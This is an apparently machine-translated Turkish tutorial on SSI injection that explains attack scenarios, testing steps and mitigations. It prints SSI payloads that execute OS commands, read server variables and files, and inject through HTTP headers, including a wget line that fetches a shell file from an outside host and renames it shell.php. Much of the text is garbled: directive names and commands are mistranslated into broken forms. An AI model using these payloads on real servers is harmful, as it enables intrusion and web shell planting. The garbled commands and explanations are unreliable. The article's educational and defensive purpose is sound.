Çeşitli sayfalara sahip bir web uygulamamız olduğunu ve başlamadan önce her sayfanın rota menüsünün veya üstbilgi/altbilgi metninin ayarlanmasını gerektirdiğini düşünelim. Her sayfa için HTML kodunu fiziksel olarak değiştirmek garip olurdu. Burası, SSI (Sunucu Tarafı Enjeksiyon Dahil) vurgusunun faydalı olduğunu kanıtladığı yerdir. Gerekli materyali tüm sayfalara güçlü bir şekilde yerleştirebilir.

 

 

SSI Injection nedir?

SSI’ler, bir HTML sayfasına dinamik içerik vermek için kullanılan Web uygulama siparişleridir. SSI’ler CGI’lar gibidir, o halde aslında daha önce veya bir sayfanın gösterimi sırasında alıştırmalar yapmak için kullanılırlar. Sayfayı müşteriye iletmeden önce, web sunucusu SSI’yi analiz eder.

SSI Injection

 Saldırı Senaryosu

Bazı ssi enjeksiyon örneklerini analiz edelim

Model 1

SSI infüzyon siparişleri, kullanılan sunucu çalışma çerçevesine bağlı olarak değişir. İşletim sistemi siparişlerini yürütmek için dil yapısı aşağıda görüntülenir.

Linux:

Dizindeki belgeler alta kaydedilir.

< !– #executive cmd=”ls” – – >

Kataloglara erişin:

< !– #executive cmd=”cd/root/dir/”>

Yürütme komut dosyası:

< !– #executive cmd=”wget ​​http://mysite.com/shell.txt | shell.txt shell.php’yi yeniden adlandırın” – – >

Pencereler:

Dizin belgelerini listele:

< !– #executive cmd=”dir” – – >

Erişim dizinleri:

< !– #executive cmd=”cd C:\admin\dir”>

2. model

Sunucu bilgilerini almak ve ayarlamak için diğer SSI durumları şunları içerir:

Gaf mesajının sonucunu değiştirmek için aşağıdakileri yapın:

< !– #config errmsg=”Dosya bulunamadı, istemcileri ve gizli kelimeyi aydınlatıyor”- – >

Geçerli kaydın dosya adını göstermek için şunu yazın:

< !– #reverberation var=”DOCUMENT_NAME” – ->

Sanal yolu ve dosya adını göstermek için şunu yazın:

< !– #reverberation var=”DOCUMENT_URI” – – >

Tarih ve saat getiri düzenlemesi, “config” sırası ve “timefmt” sınırı kullanılarak değiştirilebilir:

< !– #config timefmt=”A %B %d %Y %r”- – >

“fsize” sırasını kullanarak önceden belirlenmiş bir kaydın boyutunu elde etmek mümkündür:

< !– #fsize file=”ssi.shtml” – – >

SSI Injection nasıl test edilir?

Kullanılabilir SSI’yi test etmek için SSI yönergelerini müşteri katkısı olarak kullanın. Sunucu, SSI’nin yetkilendirildiğini ve müşteri girişi onayının doğru bir şekilde gerçekleştirilmediğini varsayarak görevi yürütecektir. Benzer şekilde, istemci girdisi beklendiği gibi değerlendirilmediğinde ve temizlenmediğinde geleneksel bir ön düzenleme dil infüzyonu zayıflığı meydana gelir, bu zayıflık istemci girdisi beklendiği gibi onaylanmadığında ve dezenfekte edilmediğinde ortaya çıkar.

Önce web sunucusunun SGK siparişlerini destekleyip desteklemediğine karar verin. SGK yardımı çok meşhur olduğu için tepki genellikle evet oluyor. SSI talimatlarının yerine getirilip getirilmediğini kontrol etmek için veri toplama yöntemlerini kullanarak hedefin çalıştırdığı web sunucusunun türünü bulun (bkz. Parmak İzi Web Sunucusu). Koda yaklaştığınızı varsayarak, SGK siparişlerinin kullanılıp kullanılmadığını kontrol etmek için web sunucusu düzenleme belgelerinde belirli terimleri arayın.

SGK yetkileriyle bağlantılı olan the.shtml son ekine sahip sayfaların kontrol edilmesi, SSI siparişlerinin yetkilendirildiğini garanti etmenin bir başka yöntemidir. .shtml genişletmesi gerekmediğinden, .shtml belgelerinin görünmemesi, hedefin SSI infüzyon saldırılarına karşı güvenli olduğu anlamına gelmez.

Sonraki aşama, akla gelebilecek tüm müşteri girdi vektörlerini tanımak ve SSI infüzyonundan yararlanılıp yararlanılamayacağına bakılmaksızın değerlendirmektir.

Başlamak için, müşteri girdisini dikkate alan sayfaların her birini bulun. Başlıklar ve ikramlar, olası bilgi vektörlerinin örnekleridir. Bilginin nasıl kaydedileceğine ve kullanılacağına karar verin, örneğin, bir gaf mesajı olarak mı yoksa bir sayfa bileşeni olarak mı döndürüldüğüne ve yenilenip yenilenmediğine karar verin. Kaynak koduna yaklaştığınız varsayıldığında, bilgi vektörlerinin nerede olduğunu ve bilginin işlenme şeklini bilmek daha kolaydır.

Makul infüzyon yerlerinin bir dökümünü aldıktan sonra, bilgilerin uygun şekilde taranmış olup olmadığını kontrol edebilirsiniz. !#=/.”- > gibi SGK siparişlerinin infüze edilebileceğini öğrenin. [a-zA-Z0-9] ve [a-zA-Z0-9] iki modeldir.

Aşağıdaki kod, değişkenin değerini döndürür. Referanslar alanı, bir çerçeveye ilişkin değerlendirmenizi destekleyebilecek, sunucuya açık belgelere faydalı bağlantılar içerir.

> !- #reverberation var=”VAR” – >!- #echo var=”VAR” – >!- #echo var

Verilen belgenin bir CGI betiği olması durumunda, CGI içeriğinin sonucu, dahil etme yetkisi kullanılırken dahil edilecektir. Bu sıralama aynı şekilde bir sicildeki belgeleri listelemek veya bir kaydın özünü dahil etmek için de kullanılabilir:

> !- #incorporate virtual=”DOSYAADI” – >!- #include virtual=”FILENAME” – >!- #include virtual=”

Bir çerçeve siparişinin etkisinden sonra gelmek için şunu yazın:

> !- #executive cmd=”İS KOMUTU” – >!- #exec cmd=”İS KOMUTU” – >!- #exec cmd

Sipariş, uygulamanın çaresiz olduğu varsayılarak verilir ve sayfa verildiğinde sunucu tarafından değerlendirilir.

Web uygulamasının bu bilgiyi aşamalı olarak üretilen bir sayfa oluşturmak için kullandığını varsayarsak, bir API güvenliğine sahip olmasına rağmen SSI siparişleri de HTTP başlıklarına aktarılabilir:

GET/HTTP/1.1

Var: www.example.com

Yönlendiren: <!- – #exec cmd=”/container/ps hatchet”- – >

İstemci Aracısı: <!- – #include virtual=”/proc/variant”- – >

İyileştirme ve önleme

SGK yetkilerinde kullanılan karakterler bulunmamalı ve müşteri bilgileri onaylanmalıdır. SSI enjeksiyon önlemenin başka bir metodolojisi, istemcinin web sitesi sayfalarında göstermeden önce HTML’yi kodlamasını sağlamaktır. Siparişler, bağımsız olarak sunucunun yapılandırma belgesine eklenerek gerekli oldukları hedeflerle sınırlandırılabilir. SSI.htm ve.html sayfaları için de kurulabilir. Saldırganların kusurları ortaya çıkarmasını ve nihayetinde ssi enjeksiyon düzeltmesini önlemesini kolaylaştırdıkları için sayfalarımızda.stm,.shtm ve.shtml kullanmaktan uzak durmalıyız.